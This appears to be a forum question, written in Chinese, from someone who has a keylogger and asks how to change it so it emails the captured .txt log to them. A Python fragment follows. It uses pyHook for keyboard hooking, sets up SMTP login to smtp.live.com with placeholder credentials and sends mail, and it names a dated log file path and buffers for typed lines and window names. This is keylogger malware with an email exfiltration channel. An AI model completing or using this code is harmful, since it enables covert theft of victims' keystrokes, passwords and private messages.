我有一个简单的键盘记录器,我正在试图弄清楚如何将日志文件发送到我的电子邮件。有人能告诉我如何修改此代码以使其发送.txt文件吗?
import pyHook, pythoncom, smtplib
from datetime import datetime
smtpserver = 'smtp.live.com'
AUTHREQUIRED = 1 # if you need to use SMTP AUTH set to 1
smtpuser = 'xxxxxx' # for SMTP AUTH, set SMTP username here
smtppass = 'xxxxxx' # for SMTP AUTH, set SMTP password here
RECIPIENTS = 'xxxxx'
SENDER = 'xxxxx'
mssg = '????'
s = mssg
server = smtplib.SMTP(smtpserver,587)
server.ehlo()
server.starttls()
server.ehlo()
server.login(smtpuser,smtppass)
server.set_debuglevel(1)
server.sendmail(SENDER, [RECIPIENTS], s)
server.quit()
todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = 'C:\log\\' + todays_date + '.txt'
line_buffer = "" #current typed line before return character
window_name = "" #current window